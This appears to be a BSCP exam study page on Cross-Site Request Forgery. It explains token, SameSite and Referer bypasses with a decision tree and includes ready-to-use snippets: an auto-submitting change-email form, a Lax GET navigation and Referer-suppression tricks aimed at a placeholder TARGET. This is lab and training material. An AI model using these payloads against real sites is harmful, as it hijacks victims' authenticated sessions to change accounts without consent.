Skip to content

Cross-Site Request Forgery (CSRF)

← Back to index · Stage 2 (force an admin action) · Read the mindset page first.

Why it exists: browsers automatically attach a site's cookies to any request to that site — even one triggered by a different site. So a page you host can make the victim's browser fire an authenticated request to the target, and the target can't tell it wasn't the user. CSRF tokens exist to stop this; a CSRF bug is a token (or SameSite/Referer) defense that's missing or bypassable. On BSCP it's a Stage-2 route: make the admin's browser perform an admin action.

The one rule: read the defense before writing the exploit. The flaw is almost always in how the token / SameSite / Referer check is implemented — not its absence. Find that flaw and the exploit writes itself.

Decision tree

flowchart TD
  A["State-changing request"] --> B{"CSRF defense?"}
  B -->|none| NO["Plain auto-submit form"]
  B -->|token| T{"Token flaw?"}
  T -->|not tied to session| T1["Use your own valid token"]
  T -->|duplicated in a cookie| T2["Cookie-inject both sides"]
  T -->|only checked if present| T3["Drop the token param"]
  T -->|method-dependent| T4["Switch POST to GET"]
  B -->|SameSite| S["SameSite bypass"]
  B -->|Referer| R["Referer bypass"]
  NO --> WIN["Admin performs the action"]
  T1 --> WIN
  T2 --> WIN
  T3 --> WIN
  T4 --> WIN
  S --> WIN
  R --> WIN

1. Token flaws — why each bypass works

Read how the token is validated, then exploit the specific weakness:

Not tied to session       -> the server only checks the token is "valid", not that it's YOURS -> include your own
Validated only if present -> the check runs only when the param exists -> OMIT the token field entirely
Duplicated in a cookie    -> server compares body-token == cookie-token -> cookie-inject both to a value you set
Method-dependent          -> token enforced on POST but the handler accepts GET -> GET /change-email?email=...

2. SameSite bypasses — why

Why: SameSite controls when the cookie is sent cross-site. Lax (the modern default) still sends it on a top-level GET navigation — so if the action accepts GET, a simple navigation carries the cookie:

Lax (default) -> location = 'https://TARGET/change-email?email=you@EXPLOIT'   (top-level GET sends the cookie)
Strict        -> issue the request from a same-site subdomain (via XSS / open redirect there)

3. Referer bypasses

Why: a check that only validates the Referer when present is defeated by suppressing it:

<meta name="referrer" content="no-referrer">      <!-- validated only if present -->
https://EXPLOIT/csrf?https://TARGET               <!-- naive substring check: put the expected value in your URL -->

4. Deliver

<form action="https://TARGET/my-account/change-email" method="POST">
 <input name="email" value="you@EXPLOIT">
 <input name="csrf" value="...">   <!-- include only if the flaw needs it -->
</form>
<script>document.forms[0].submit()</script>
<!-- host on the exploit server -> "Deliver to victim" -->

Failure modes

  • Token rejected → test each flaw in turn: remove it, reuse your own, swap the method.
  • Cookie not set (for the cookie-inject flaw) → you need a cookie-injection primitive (CRLF/header injection in a reflected cookie).
  • SameSite blocks the POST → switch to a GET-capable version of the action.
  • Form won't auto-submit → match the body enctype, or use fetch with credentials:'include'.
  • JSON endpoint → try text/plain enctype to smuggle a JSON-ish body, or find a form-encoded alternative.